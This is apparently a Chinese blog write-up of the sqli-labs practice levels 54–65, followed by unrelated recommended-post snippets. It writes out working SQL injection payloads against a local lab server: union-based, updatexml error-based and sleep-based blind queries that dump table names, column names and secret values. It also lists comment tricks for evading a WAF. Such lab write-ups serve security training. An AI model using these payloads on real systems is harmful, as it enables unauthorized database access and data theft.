less-54

从54关开始,就是提升巩固的关卡,并且开始慢慢偏向实际。

第54关就是对输入的次数做了限制,需要在十次之内获取信息,否则就会刷新表名列名等信息。

以下的步骤截图就直接从上帝视角截图说明了:

判断出数据格式为单引号包裹,然后判断列数:

http://192.168.0.105/sqli-labs/Less-54/?id=1'  order by 3--+ 可知为三列:

查出当前数据库:http://192.168.0.105/sqli-labs/Less-54/?id=0'  union  select 1,2,database()--+

爆出表名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(table_name)) from information_schema.tables where table_schema =0x6368616c6c656e676573--+

然后得到列名:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat(column_name)) from information_schema.columns where table_name ='46i5jkx2ev' --+

取出数据:http://192.168.0.105/sqli-labs/Less-54/?id=0' union select 1,2,(group_concat( concat_ws(0x7e,sessid,secret_DHPM,tryy)  )) from challenges.46i5jkx2ev --+

输入拿到的secret:

通关完毕。

less-55

这次是14次。

数据格式变成id=(1),其他步骤均相同

less-56

数据格式变成id=(‘1’),其他步骤均相同

less-57

这次还是14次。

数据格式变成id=“1”,其他步骤均相同

less-58


本关不能使用联合查询,并且要求在5次之内获得数据。

使用报错注入:

获得表名:之前已经知道数据库的名字是challenges

http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='CHALLENGES') ),1)--+

获取字段:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from Information_schema.columns where table_name='4agntk4sfa' )),1)--+

获取字段的值:http://192.168.0.105/sqli-labs/Less-58/?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_IZV9) from challenges.ptji029en9 )),1)--+

因为中间次数超了,重新开始了一下所以表名不一样。

完成。

less-59

同样是使用报错注入,区别在于对id值得处理,id=1,就是没有包裹。

less-60 

同样是使用报错注入,区别在于对id值得处理,id=(“1”),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。

less-61 

同样是使用报错注入,区别在于对id值得处理,id=((‘1’)),他只给了五次机会,如果没有使用输出sql语句肯定五次之内猜不到发,所以多试几次可以的。

less-62

看到有130次机会就知道要盲注了。他题目中已经给出了数据库名,所以再猜解表名,字段名和值就可以了,这里简单演示:
http://192.168.0.105/sqli-labs/Less-62/?id=1') and if( left( (select table_name from information_schema.tables where table_schema='CHALLENGES' limit 0,1),1)> 'a' ,1, sleep(5)) --+

less-63

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id='1' LIMIT 0,1

less-64

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=((1)) LIMIT 0,1

less-65

同样是延时注入,只是对于id值的处理不同:

SELECT * FROM security.users WHERE id=("1") LIMIT 0,1

总结:关于sqli-labs的通关结束。但是对于sql注入可能才是刚刚入门的水平,任重而道远~,下面再小小的总结一下知识点。

id或者sort闭合的方式:‘’、“”、()、(’‘)、(“”)、((’‘)),等等吧,根据不同的数据格式判断出不同sql闭合语句。

注释符:--+ --空 # %23  和;%00  有的WAF会使注释符过滤转义,所以需要多记几个

手工注入的几种姿势:报错注入、布尔盲注、时间盲注、读文件、写文件、堆叠注入、一句话木马、参数污染等等等

Sqli-Labs less54-65的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  6. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  7. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. Comparator的compare方法如何定义升序降序

    最近做算法题用了Comparator接口下的compare方法,思考了一下升序和降序的规则是如何来的,现在做一个补充,方便以后回顾.  升序代码 public static void main(Str ...

  2. rosbag 初尝试

    overview ROS (Robot Operating System, 机器人操作系统) 提供一系列程序库和工具以帮助软件开发者创建机器人应用软件.它提供了硬件抽象.设备驱动.函数库.可视化工具. ...

  3. 2020 DJBCTF RE wp

    1.anniu 吐槽:浓浓一股杂项的味道,妈的,用xspy和resource har加ida死活搜不到回调函数,淦 下一个灰色按钮克星,直接把灰色的按钮点亮,直接点击就可以出了,软件下载链接:http ...

  4. Outlook配置163邮箱

    一.在163邮箱设置处设置POP3/SMTP/IMAP 二.开启客户端授权码 三.打开Outlook,选择手动设置 选择POP/IMAP 密码是上文中的授权码 点击其它设置,勾选以下选项 点击完成即可

  5. C语言:char[]操作

    C语言中char[]的操作函数1.赋值操作在C语言中,char型数组是不可以直接赋值的.例如在如下的代码中,会得到错误: char c1[20] = "women";char c2 ...

  6. Java基础00-Lamda表达式30

    1. Lambda表达式 Java8新特征之Lambda表达式 1.1 函数式编程思想概述 1.2 体验Lambda表达式 代码示例: 方式一就不演示了,可以去看Java基础24 方式2:匿名内部类的 ...

  7. java面向对象程序设计(下)-接口的定义

    抽象类是从多个类中抽象出来的模板,如果将这种抽象进行得更加彻底,则可以提炼出一种更加特殊的"抽象类"-接口(interface),Java9对接口进行了改进,允许在接口中定义默认方 ...

  8. element ui table表头动态筛选条件

    本文主要实现:根据el-table表格数据自动生成表头筛选条件的方法,可根据表格数据动态调整. el-table表格的表头增加筛选功能,大家平时都是怎么实现的呢?先看看官方文档的例子: 1 <t ...

  9. POJ1944

    poj1944 一道我不会做的贪心题. (思维才是OI的重点) 但是if您也不会,那就来听我瞎扯吧. 首先,这个图是一个圈,只能连接邻点,使所有求的点联通. 我们先不考虑环,那么就可以想出一个假的做法 ...

  10. 剖根问底:Java 不能实现真正泛型的原因是什么?

    大家好,我是二哥呀! 今天我来给大家讲一下,Java 不能实现真正泛型的原因是什么? 本文已同步至 GitHub <教妹学 Java>专栏,风趣幽默,通俗易懂,对 Java 初学者亲切友善 ...